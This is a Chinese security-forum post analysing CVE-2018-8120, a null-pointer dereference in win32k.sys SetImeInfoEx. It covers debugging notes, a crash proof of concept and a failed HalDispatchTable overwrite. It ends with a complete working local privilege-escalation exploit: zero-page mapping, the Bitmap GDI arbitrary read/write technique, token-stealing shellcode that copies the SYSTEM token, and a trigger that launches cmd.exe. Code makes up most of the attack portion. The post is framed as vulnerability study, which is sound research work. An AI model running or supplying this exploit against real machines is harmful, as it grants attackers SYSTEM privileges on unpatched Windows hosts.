首页
社区
课程
招聘
[原创]Windows内核提权漏洞CVE-2018-8120分析
2022-12-11 22:25 17078

[原创]Windows内核提权漏洞CVE-2018-8120分析

2022-12-11 22:25
17078

参考链接:
https://www.anquanke.com/post/id/241057
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_38025365/article/details/106343443
官方链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
图片描述
图片描述
图片描述
查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION
图片描述
spklList对象的结构为
图片描述
漏洞触发验证

 

查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示
图片描述
dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<Windows.h>
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
    _asm {
        mov esi, argv1;
        mov eax, gSyscalIndex; //系统调用服务号
        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用
        call DWORD ptr[edx];
        ret 4;
    }
}
int main() {
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);
    char ime[0x800];
    NtUserSetImeInfoEx((PVOID)&ime);
    return 0;
}

windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。
图片描述
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
图片描述
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
    _asm {
        mov esi, argv1;
        mov eax, gSyscalIndex; //系统调用服务号
        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用
        call DWORD ptr[edx];
        ret 4;
    }
}
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
 
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
int main() {
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);
    char ime[0x800];
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return;
    }
 
    PVOID Zero_addr = (PVOID)0x100;
    SIZE_T RegionSize = 0x1000;
 
    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return;
 
    }
 
    printf("[+]Success to alloc zero page...\n");
    printf("申请到的地址是 0x%p\n", Zero_addr);
 
    PBYTE pt = (PBYTE)Zero_addr;
    *(PDWORD)(pt + 0x14) = (DWORD)0x12345678;
    *(PDWORD)(ime) = (DWORD)0x12345678;
 
    *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc;    //HalDispatchTable+0x4
 
    NtUserSetImeInfoEx((PVOID)&ime);
    return 0;
}

上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。

 

Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 创建Bitmap
HBITMAP CreateBitmap(
 int    nWidth,
 int    nHeight,
 UINT    nPlanes,
 UINT    nBitCount,
 const VOID *lpBits
);
 
// 将bitmap bits拷贝到指定缓冲区
LONG GetBitmapBits(
 HBITMAP hbit,
 LONG  cb,
 LPVOID lpvBits
); 
 
// 设置bitmap的bits
LONG SetBitmapBits(
 HBITMAP  hbm,
 DWORD   cb,
 const VOID *pvBits
);

CreateBitMap创建的结构SURFACE OBJECT
图片描述
当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:

1
2
3
4
5
6
7
8
9
typedef struct _GDICELL
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;

pKernelAddress泄露了Bitmap对象的内核地址,再看pKernelAddress指向的数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedefstruct {
BASEOBJECT BaseObject; //0x00
SURFOBJ SurOBJ; //0x18
}
 
 
typedef struct _BASEOBJECT {
    HANDLE    hHmgr; 0x04
    PVOID     pEntry; 0x08
    LONG      cExclusiveLock; 0x0d
    PW32THREAD Tid;0x10
} BASEOBJECT, *POBJ;
 
 
typedef struct _SURFOBJ {
    DHSURF dhsurf;       0x04
    HSURF  hsurf;         0x08
    DHPDEV dhpdev;        0x09
    HDEV   hdev;          0x0a
    SIZEL  sizlBitmap;    0x0e
    ULONG  cjBits;        0x12
    PVOID  pvBits;        0x16
    PVOID  pvScan0;       0x20
    LONG   lDelta;        0x24
    ULONG  iUniq;        0x28
    ULONG  iBitmapFormat; 0x2c
    USHORT iType;        0x2e
    USHORT fjBitmap;      0x30
} SURFOBJ

图片描述

1
2
3
gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)
pvScan0_Offset = pKernelAddress + 0x10 + 0x1c
pvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C

在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)
(2) 使用CreateBitMap返回的handle获取pvScan0的地址
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );
 
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
 
//申请0页内存
void getZeroMemory() {
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;
 
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
    }
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
    }
    printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
    _asm
    {
        pushad
        mov eax, fs: [124h]        // 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4                // edx = system PID(4)
 
        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]    // 找到进程活动链表
        sub eax, 0xb8            // 链表遍历
        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid
 
        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        xor eax, eax
        ret
 
    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
 
//获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    CHAR lpfileName[1024];
 
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
 
    for (int i = 0; i < 1024; i++)
    {
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
 
        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}
 
DWORD32 GetHalOffset_4()
{
    // 获取ntkrnlpa.exe运行时基址
    PVOID pNtkrnlpaBase = NtkrnlpaBase();
    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
 
    // 获取用户态加载ntkrnlpa.exe的地址
    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
 
    // 获取用户态中HalDispatchTable的地址
    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
 
    // 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量
    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
    return (DWORD32)hal_4;
}
 
 
//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {
 
        mov esi, tmp;
        mov eax, gSyscall; //系统调用符号
        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用
        call dword ptr[edx];
        ret 4;
    }
}
DWORD getpeb()
{
    //在NT内核中,FS段为TEB,TEB偏移0x30处为PEB
    DWORD p = (DWORD)__readfsdword(0x18);
    p = *(DWORD*)((char*)p + 0x30);
    return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
    return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
    if (!gtable)
        gtable = getgdi();
    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
    GDICELL* c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x30;
 
}
 
int main()
{
    //1. 创建bitmap对象
    unsigned int bbuf[0x60] = { 0x90 };
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
    //2. 使用句柄查找GDICELL,计算pvScan0地址
    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);
    printf("[+] Get manager at 0x%p,worker at 0x%p\n", mpv, wpv);
    //使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值
 
    // 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );
 
    // 和窗口当前进程关联起来
    SetProcessWindowStation(hSta);
 
    char buf[0x200];
    RtlSecureZeroMemory(&buf, 0x200);
    PVOID* p = (PVOID*)&buf;
    p[0] = (PVOID)wpv;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;
    //获取0页内存
    getZeroMemory();
    *(DWORD*)(0x2C) = (DWORD)(mpv);
    *(DWORD*)(0x14) = (DWORD)(wpv);
    // WindowStation->spklList字段为0,函数继续执行将触发漏洞
    NtUserSetImeInfoEx((PVOID)&buf);
    PVOID pOrg = 0;
    DWORD haladdr = GetHalOffset_4();
    PVOID oaddr = (PVOID)haladdr;
    PVOID sc = &ShellCode;
 
    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager设置worker的可修改地址为hal函数
    printf("[+]要覆盖的目标地址 0x%x\n", oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//获取可修改的地址
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//设置地址为shellcode
    printf("[+]覆盖完毕,准备执行Shellcode");
 
    //触发shellcode
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    //收尾
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    CreateCmd();
    return 0;
}

不同版本的exp还没完全看懂。。。
其中alphalab中win32版本的exp提出来,有些地方对不上,感觉很奇怪


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-12-29 14:30 被hml189编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (2)
雪    币: 12768
活跃值: (16302)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2022-12-12 09:48
2
0
有一部分图片裂了,师傅再重新看下
雪    币: 168
活跃值: (6596)
能力值: ( LV7,RANK:105 )
在线值:
发帖
回帖
粉丝
hml189 2022-12-12 14:58
3
0
有毒 有一部分图片裂了,师傅再重新看下
裂的是引用的图,补上了
游客
登录 | 注册 方可回帖
返回